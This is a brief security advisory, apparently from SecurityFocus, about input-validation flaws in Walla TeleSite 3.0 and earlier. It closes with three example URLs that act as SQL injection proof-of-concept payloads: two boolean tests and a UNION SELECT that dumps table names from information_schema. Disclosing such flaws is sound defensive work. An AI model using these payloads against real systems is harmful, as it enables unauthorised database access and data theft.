source: https://www.securityfocus.com/bid/15419/info
  
Walla TeleSite is prone to multiple input validation vulnerabilities. These are due to a lack of proper sanitization of user-supplied input.
  
Walla TeleSite is prone to information and path disclosure, file enumeration, SQL injection, and cross-site scripting attacks within the context of the victim's Web browser and the affected computer.
  
Other attacks are also possible.
  
Walla Telesite version 3.0 is affected; earlier versions are also affected. 

http://www.example.com/ts.exe?tsurl=0.52.0.0&tsstmplt=search_tour&sug=%61%61%61'%20and%20'1'='1

http://www.example.com/ts.exe?tsurl=0.52.0.0&tsstmplt=search_tour&sug=%61%61%61'%20and%20'1'='2

http://www.example.com/ts.exe?tsurl=0.52.0.0&tsstmplt=search_tour&sug=%EF'%20or%201=1%20union%20all%20select%20top%201%20null,null,null,null,null,
null,null,null,null,'nuli','zulu','papa','qqq','rar','ewe',table_name,'asd','ttt','werwr','ryy','poo','polo','nike'%20from%20information_schema.columns--